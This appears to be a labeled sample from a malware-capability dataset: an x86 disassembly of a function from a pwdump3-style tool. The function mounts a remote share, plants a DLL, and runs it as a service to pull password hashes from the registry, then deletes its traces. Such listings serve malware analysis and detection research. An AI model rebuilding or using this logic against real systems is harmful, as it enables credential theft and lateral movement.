Function at 0x4322a0
Capabilities:
Connect network resource
Create service
Delete file
Delete registry key
Delete service
Persist via windows service
Query or enumerate registry value
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffb98
mov eax, 0x56ebcc
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
call fcn.00528424
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x70], ecx
xor eax, eax
xor edx, edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], edx
mov eax, dword [ebp + 8]
jmp 0x4322da
inc eax
movsx edx, byte [eax]
cmp edx, 0x5c
je 0x4322d9
push eax
push 0x56e950
lea ecx, [ebp - 0x5d4]
push ecx
call fcn.0052c0e0
add esp, 0xc
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x5d4]
lea ecx, [ebp - 0x6d8]
push eax
push edx
push 0x56e955
push ecx
call fcn.0052c0e0
mov word [ebp - 0x58], 8
add esp, 0x10
mov word [ebp - 0x58], 8
xor ebx, ebx
xor esi, esi
test edi, edi
je 0x43232f
mov esi, edi
mov ebx, dword [ebp + 0x18]
mov dword [ebp - 0x6f4], 1
xor eax, eax
lea edx, [ebp - 0x6d8]
mov dword [ebp - 0x6e8], eax
mov dword [ebp - 0x6e4], edx
xor ecx, ecx
lea eax, [ebp - 0x6f8]
mov dword [ebp - 0x6dc], ecx
push 8
push esi
push ebx
push eax
call sub.MPR.DLL_WNetAddConnection2A
mov ebx, eax
test ebx, ebx
je 0x4323ea
mov dword [ebp - 0x7c], ebx
lea edx, [ebp - 0x6d8]
push edx
xor ecx, ecx
mov word [ebp - 0x58], 0x14
mov dword [ebp - 8], ecx
lea edx, [ebp - 8]
inc dword [ebp - 0x4c]
mov eax, 0x4a3d
call fcn.0051100c
cmp dword [ebp - 8], 0
je 0x43239b
mov ecx, dword [ebp - 8]
jmp 0x4323a0
mov ecx, 0x56e95b
push ecx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x68]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x80], eax
lea edx, [ebp - 0x80]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
mov ecx, dword [ebp + 0xc]
push ecx
lea eax, [ebp - 0x5d4]
push eax
call fcn.00433268
add esp, 8
mov ebx, eax
test eax, eax
je 0x432498
xor edx, edx
lea ecx, [ebp - 0x6d8]
mov dword [ebp - 0x7c], edx
push ecx
mov word [ebp - 0x58], 0x20
xor eax, eax
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], eax
inc dword [ebp - 0x4c]
inc ebx
jne 0x43242e
mov eax, 0x32cf
jmp 0x432433
mov eax, 0x32d0
call fcn.0051100c
cmp dword [ebp - 0xc], 0
je 0x432443
mov edx, dword [ebp - 0xc]
jmp 0x432448
mov edx, 0x56e95c
push edx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x68]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x84], eax
lea edx, [ebp - 0x84]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0x104
lea ecx, [ebp - 0x7fc]
push ecx
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x5c
lea eax, [ebp - 0x7fc]
push eax
call fcn.00528039
add esp, 8
inc eax
mov edi, eax
mov esi, str.Datapwdump3LsaExt.dll
mov eax, edi
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [ebp - 0x6d8]
or ecx, 0xffffffff
lea esi, [ebp - 0x900]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x900]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x56e975
push eax
call fcn.00527e90
add esp, 8
push 0x56e981
lea edx, [ebp - 0x7fc]
push edx
call fcn.0052a49c
add esp, 8
mov ebx, eax
mov word [ebp - 0x58], 8
test ebx, ebx
jne 0x4325b8
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7fc]
push eax
xor edx, edx
mov word [ebp - 0x58], 0x2c
mov dword [ebp - 0x10], edx
lea edx, [ebp - 0x10]
inc dword [ebp - 0x4c]
mov eax, 0x32ca
call fcn.0051100c
cmp dword [ebp - 0x10], 0
je 0x432563
mov ecx, dword [ebp - 0x10]
jmp 0x432568
mov ecx, 0x56e984
push ecx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x68]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0x88], eax
lea edx, [ebp - 0x88]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0x56e985
lea ecx, [ebp - 0x900]
push ecx
call fcn.0052a49c
add esp, 8
mov esi, eax
mov word [ebp - 0x58], 8
test esi, esi
jne 0x432682
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x900]
push eax
xor edx, edx
mov word [ebp - 0x58], 0x38
mov dword [ebp - 0x14], edx
lea edx, [ebp - 0x14]
inc dword [ebp - 0x4c]
mov eax, 0x32c9
call fcn.0051100c
cmp dword [ebp - 0x14], 0
je 0x432611
mov ecx, dword [ebp - 0x14]
jmp 0x432616
mov ecx, 0x56e988
push ecx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.005378b8
push ebx
call fcn.00529fd4
pop ecx
lea eax, [ebp - 0x4d0]
lea ecx, [ebp - 0x68]
lea edx, [ebp - 0x8c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x8c], eax
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
jmp 0x432682
push esi
push edi
push 1
lea ecx, [ebp - 0xd00]
push ecx
call fcn.0052a994
add esp, 0x10
push ebx
push 0x400
push 1
lea eax, [ebp - 0xd00]
push eax
call fcn.0052a714
add esp, 0x10
mov edi, eax
test eax, eax
jne 0x43266f
push ebx
call fcn.00529fd4
pop ecx
push esi
call fcn.00529fd4
pop ecx
push 0x5c
lea edx, [ebp - 0x7fc]
push edx
call fcn.00528039
add esp, 8
inc eax
mov edi, eax
mov esi, 0x56e989
mov eax, edi
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x900]
or ecx, 0xffffffff
lea esi, [ebp - 0xe04]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0xe04]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x5c
push eax
call fcn.00528039
add esp, 8
inc eax
mov edi, eax
mov esi, 0x56e997
mov eax, edi
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x56e9a5
lea edx, [ebp - 0x7fc]
push edx
call fcn.0052a49c
add esp, 8
mov ebx, eax
test ebx, ebx
jne 0x4327d2
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7fc]
push eax
xor edx, edx
mov word [ebp - 0x58], 0x44
mov dword [ebp - 0x18], edx
lea edx, [ebp - 0x18]
inc dword [ebp - 0x4c]
mov eax, 0x32ca
call fcn.0051100c
cmp dword [ebp - 0x18], 0
je 0x432771
mov ecx, dword [ebp - 0x18]
jmp 0x432776
mov ecx, 0x56e9a8
push ecx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x900]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x4d0]
mov dword [ebp - 0x90], edx
lea ecx, [ebp - 0x90]
push ecx
push 0x433128
call fcn.005349e1
add esp, 0x24
push 0x56e9a9
lea eax, [ebp - 0xe04]
push eax
call fcn.0052a49c
add esp, 8
mov esi, eax
test esi, esi
jne 0x4328a2
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0xe04]
push eax
xor edx, edx
mov word [ebp - 0x58], 0x50
mov dword [ebp - 0x1c], edx
lea edx, [ebp - 0x1c]
inc dword [ebp - 0x4c]
mov eax, 0x32c9
call fcn.0051100c
cmp dword [ebp - 0x1c], 0
je 0x432825
mov ecx, dword [ebp - 0x1c]
jmp 0x43282a
mov ecx, 0x56e9ac
push ecx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.005378b8
push ebx
call fcn.00529fd4
pop ecx
lea ecx, [ebp - 0x900]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x4d0]
mov dword [ebp - 0x94], edx
lea ecx, [ebp - 0x94]
push ecx
push 0x433128
call fcn.005349e1
add esp, 0x24
jmp 0x4328a2
push esi
push edi
push 1
lea eax, [ebp - 0xd00]
push eax
call fcn.0052a994
add esp, 0x10
push ebx
push 0x400
push 1
lea edx, [ebp - 0xd00]
push edx
call fcn.0052a714
add esp, 0x10
mov edi, eax
test eax, eax
jne 0x43288f
push ebx
call fcn.00529fd4
pop ecx
push esi
call fcn.00529fd4
pop ecx
push 2
push 0
lea edx, [ebp - 0x5d4]
push edx
call sub.ADVAPI32.DLL_OpenSCManagerA
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x432985
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x7c], eax
xor ecx, ecx
mov word [ebp - 0x58], 0x5c
mov dword [ebp - 0x20], ecx
mov eax, 0x32cb
inc dword [ebp - 0x4c]
lea edx, [ebp - 0x20]
call fcn.0051100c
cmp dword [ebp - 0x20], 0
je 0x432918
mov ecx, dword [ebp - 0x20]
jmp 0x43291d
mov ecx, 0x56e9ad
push ecx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 8
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x900]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0xe04]
push eax
call sub.KERNEL32.DLL_DeleteFileA
lea edx, [ebp - 0x68]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x4d0]
mov dword [ebp - 0x98], ecx
lea eax, [ebp - 0x98]
push eax
push 0x433128
call fcn.005349e1
add esp, 0x24
lea edx, [ebp - 0xf08]
push edx
mov ecx, dword [ebp + 0xc]
push ecx
lea eax, [ebp - 0x5d4]
push eax
call fcn.00433148
add esp, 0xc
test al, al
je 0x4329b9
push 0x56e9ae
lea edx, [ebp - 0xf08]
push edx
call fcn.00527e90
add esp, 8
jmp 0x4329c0
mov byte [ebp - 0xf08], 0
push 0
push 0
push 0
push 0
push 0
mov edx, 0x56e9c4
mov word [ebp - 0x58], 0x68
lea eax, [ebp - 0x28]
call fcn.00537758
inc dword [ebp - 0x4c]
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0xf08]
lea eax, [ebp - 0x24]
call fcn.00537758
inc dword [ebp - 0x4c]
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x2c]
inc dword [ebp - 0x4c]
pop edx
call fcn.00537910
cmp dword [ebp - 0x2c], 0
je 0x432a11
mov eax, dword [ebp - 0x2c]
jmp 0x432a16
mov eax, 0x56e9d2
push eax
push 0
push 3
push 0x10
push 0xf01ff
push 0x56e9ba
push 0x56e9b0
mov edx, dword [ebp - 0x70]
push edx
call sub.ADVAPI32.DLL_CreateServiceA
mov dword [ebp - 0x74], eax
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.005378b8
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.005378b8
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.005378b8
cmp dword [ebp - 0x74], 0
jne 0x432b2d
push 0xf01ff
push 0x56e9d3
mov ecx, dword [ebp - 0x70]
push ecx
call sub.ADVAPI32.DLL_OpenServiceA
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x432b2d
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x7c], eax
xor eax, eax
mov word [ebp - 0x58], 0x74
mov dword [ebp - 0x30], eax
mov eax, 0x32cc
inc dword [ebp - 0x4c]
lea edx, [ebp - 0x30]
call fcn.0051100c
cmp dword [ebp - 0x30], 0
je 0x432ac0
mov edx, dword [ebp - 0x30]
jmp 0x432ac5
mov edx, 0x56e9dd
push edx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 8
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x900]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
lea eax, [ebp - 0xe04]
push eax
call sub.KERNEL32.DLL_DeleteFileA
lea edx, [ebp - 0x68]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x4d0]
mov dword [ebp - 0x9c], ecx
lea eax, [ebp - 0x9c]
push eax
push 0x433128
call fcn.005349e1
add esp, 0x24
mov dword [ebp - 0xa4], 0x56e9de
call fcn.00432274
mov dword [ebp - 0xa8], eax
lea ecx, [ebp - 0xf18]
mov word [ebp - 0x58], 8
mov edx, dword [ebp - 0xa8]
push edx
push str._08x
push ecx
call fcn.0052c0e0
add esp, 0xc
lea eax, [ebp - 0xf18]
mov dword [ebp - 0xa0], eax
lea edx, [ebp - 0xa4]
push edx
push 2
mov ecx, dword [ebp - 0x74]
push ecx
call sub.ADVAPI32.DLL_StartServiceA
test eax, eax
jne 0x432bce
mov word [ebp - 0x58], 0x80
xor eax, eax
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, 0x32cd
inc dword [ebp - 0x4c]
call fcn.0051100c
cmp dword [ebp - 0x34], 0
je 0x432bab
mov edx, dword [ebp - 0x34]
jmp 0x432bb0
mov edx, 0x56e9f6
push edx
call sub.KERNEL32.DLL_GetLastError
mov edx, eax
pop eax
call fcn.0044a7e0
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.005378b8
mov word [ebp - 0x58], 8
push 0x64
call sub.KERNEL32.DLL_Sleep
lea ecx, [ebp - 0xe04]
push ecx
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
jne 0x432bed
jmp 0x432bd4
lea eax, [ebp - 0x900]
push eax
call sub.KERNEL32.DLL_DeleteFileA
test eax, eax
jne 0x432c46
mov word [ebp - 0x58], 0x8c
xor edx, edx
mov eax, 0x32ce
mov dword [ebp - 0x38], edx
lea edx, [ebp - 0x38]
inc dword [ebp - 0x4c]
call fcn.0051100c
cmp dword [ebp - 0x38], 0
je 0x432c23
mov ecx, dword [ebp - 0x38]
jmp 0x432c28
mov ecx, 0x56e9f7
push ecx
call sub.KERNEL32.DLL_GetLastError
mov edx, eax
pop eax
call fcn.0044a7e0
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x78]
push ecx
push SysStringLen
lea eax, [ebp - 0x5d4]
call fcn.00448b7c
test al, al
je 0x432c62
xor edx, edx
jmp 0x432c68
lea edx, [ebp - 0x5d4]
push edx
call sub.ADVAPI32.DLL_RegConnectRegistryA
mov dword [ebp - 0x7c], eax
test eax, eax
je 0x432cfb
lea ecx, [ebp - 0x5d4]
xor eax, eax
push ecx
lea edx, [ebp - 0x3c]
mov word [ebp - 0x58], 0x98
mov dword [ebp - 0x3c], eax
mov eax, 0x1782
inc dword [ebp - 0x4c]
call fcn.0051100c
cmp dword [ebp - 0x3c], 0
je 0x432ca6
mov edx, dword [ebp - 0x3c]
jmp 0x432cab
mov edx, 0x56e9f8
push edx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x68]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0xac], eax
lea edx, [ebp - 0xac]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
xor ecx, ecx
lea eax, [ebp - 0xb0]
mov dword [ebp - 0xb0], ecx
mov word [ebp - 0x58], 8
push eax
push 0x20019
push 0
mov edx, dword [ebp - 0xa4]
push edx
mov ecx, dword [ebp - 0x78]
push ecx
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov dword [ebp - 0x7c], eax
test eax, eax
je 0x432db4
lea edx, [ebp - 0x5d4]
xor ecx, ecx
push edx
lea edx, [ebp - 0x40]
mov word [ebp - 0x58], 0xa4
mov dword [ebp - 0x40], ecx
mov eax, 0x4a3b
inc dword [ebp - 0x4c]
call fcn.0051100c
cmp dword [ebp - 0x40], 0
je 0x432d5f
mov ecx, dword [ebp - 0x40]
jmp 0x432d64
mov ecx, 0x56e9f9
push ecx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x68]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0xb4], eax
lea edx, [ebp - 0xb4]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0xb8], ecx
mov word [ebp - 0x58], 8
mov dword [ebp - 0xbc], 0x400
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xc4], 0x100
push 0x56e9fa
mov edx, dword [ebp + 0x10]
push edx
call fcn.0052a49c
add esp, 8
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x433005
mov ecx, dword [ebp - 0xb0]
push ecx
call sub.ADVAPI32.DLL_RegCloseKey
mov eax, dword [ebp - 0xa4]
push eax
mov edx, dword [ebp - 0x78]
push edx
call sub.ADVAPI32.DLL_RegDeleteKeyA
call sub.KERNEL32.DLL_GetLastError
mov dword [ebp - 0x7c], eax
xor eax, eax
mov ecx, dword [ebp + 0x10]
lea edx, [ebp - 0x44]
push ecx
mov word [ebp - 0x58], 0xb0
mov dword [ebp - 0x44], eax
mov eax, 0x32c9
inc dword [ebp - 0x4c]
call fcn.0051100c
cmp dword [ebp - 0x44], 0
je 0x432e4a
mov edx, dword [ebp - 0x44]
jmp 0x432e4f
mov edx, 0x56e9fc
push edx
lea eax, [ebp - 0x4d0]
push eax
call fcn.0052c0e0
add esp, 0xc
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.005378b8
lea ecx, [ebp - 0x68]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4d0]
mov dword [ebp - 0xc8], eax
lea edx, [ebp - 0xc8]
push edx
push 0x433128
call fcn.005349e1
add esp, 0x24
jmp 0x433005
cmp dword [ebp - 0xc0], 3
jne 0x432feb
push 8
mov ecx, dword [ebp - 0xa8]
push ecx
lea eax, [ebp - 0x1418]
push eax
call fcn.00432240
add esp, 0xc
lea edx, [ebp - 0x1418]
mov dword [ebp - 0xcc], edx
mov word [ebp - 0x58], 8
cmp dword [ebp - 0x1408], 0x35b4d3aa
jne 0x432f21
cmp dword [ebp - 0x1404], 0xee0414b5
jne 0x432f21
cmp dword [ebp - 0x1400], 0x35b4d3aa
jne 0x432f21
cmp dword [ebp - 0x13fc], 0xee0414b5
jne 0x432f21
push 0x56e9fd
lea ecx, [ebp - 0x1440]
push ecx
call fcn.0052c0e0
add esp, 8
jmp 0x432f52
mov eax, dword [ebp - 0xcc]
mov esi, 0x10
lea edi, [ebp - 0x1440]
lea ebx, [eax + 0x10]
xor eax, eax
mov al, byte [ebx]
push eax
push 0x56ea1e
push edi
call fcn.0052c0e0
add esp, 0xc
inc ebx
inc esi
add edi, 2
cmp esi, 0x20
jl 0x432f35
cmp dword [ebp - 0x1418], 0xe0cfd631
jne 0x432f98
cmp dword [ebp - 0x1414], 0x31e96ad1
jne 0x432f98
cmp dword [ebp - 0x1410], 0xd7593cb7
jne 0x432f98
cmp dword [ebp - 0x140c], 0xc089c0e0
jne 0x432f98
push 0x56ea23
lea edx, [ebp - 0x1468]
push edx
call fcn.0052c0e0
add esp, 8
jmp 0x432fc5
mov eax, dword [ebp - 0xcc]
xor esi, esi
mov ebx, eax
lea edi, [ebp - 0x1468]
xor eax, eax
mov al, byte [ebx]
push eax
push 0x56ea44
push edi
call fcn.0052c0e0
add esp, 0xc
inc ebx
inc esi
add edi, 2
cmp esi, 0x10
jl 0x432fa8
lea edx, [ebp - 0x1468]
push edx
lea ecx, [ebp - 0x1440]
push ecx
lea eax, [ebp - 0x1318]
push eax
push 0x56ea49
mov edx, dword [ebp - 0x6c]
push edx
call fcn.0052a4d0
add esp, 0x14
mov dword [ebp - 0xbc], 0x400
mov dword [ebp - 0xc4], 0x100
inc dword [ebp - 0xb8]
lea ecx, [ebp - 0xc4]
lea eax, [ebp - 0x1418]
push ecx
push eax
lea edx, [ebp - 0xc0]
lea ecx, [ebp - 0xbc]
push edx
push 0
push ecx
lea eax, [ebp - 0x1318]
push eax
mov edx, dword [ebp - 0xb8]
push edx
mov ecx, dword [ebp - 0xb0]
push ecx
call sub.ADVAPI32.DLL_RegEnumValueA
test eax, eax
je 0x432ea4
mov eax, dword [ebp - 0xb0]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
mov edx, dword [ebp - 0xa4]
push edx
mov ecx, dword [ebp - 0x78]
push ecx
call sub.ADVAPI32.DLL_RegDeleteKeyA
lea eax, [ebp - 0x68]
push eax
push 0
push 0
push 1
push 0
push 0
push 0
xor edx, edx
mov dword [ebp - 0xd0], edx
lea ecx, [ebp - 0xd0]
push ecx
push 0x43313c
call fcn.005349e1
add esp, 0x24
cmp dword [ebp - 0x6c], 0
je 0x43309d
mov eax, dword [ebp - 0x6c]
push eax
call fcn.00529fd4
pop ecx
cmp dword [ebp - 0x78], 0
je 0x4330ac
mov edx, dword [ebp - 0x78]
push edx
call sub.ADVAPI32.DLL_RegCloseKey
cmp dword [ebp - 0x74], 0
je 0x4330c4
mov ecx, dword [ebp - 0x74]
push ecx
call sub.ADVAPI32.DLL_DeleteService
mov eax, dword [ebp - 0x74]
push eax
call sub.ADVAPI32.DLL_CloseServiceHandle
cmp dword [ebp - 0x70], 0
je 0x4330d3
mov edx, dword [ebp - 0x70]
push edx
call sub.ADVAPI32.DLL_CloseServiceHandle
push 0
push 0
lea ecx, [ebp - 0x6d8]
push ecx
call sub.MPR.DLL_WNetCancelConnection2A
mov eax, dword [ebp - 4]
test eax, eax
je 0x433108
mov edx, dword [ebp - 0x7c]
call fcn.0044a7e0
or eax, 0xffffffff
push eax
xor edx, edx
mov dword [ebp - 0x4c], edx
lea ecx, [ebp - 0x68]
push ecx
call fcn.005352b7
pop ecx
pop eax
jmp 0x43311f
mov word [ebp - 0x58], 0x10
call fcn.00534c02
xor eax, eax
mov edx, dword [ebp - 0x68]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret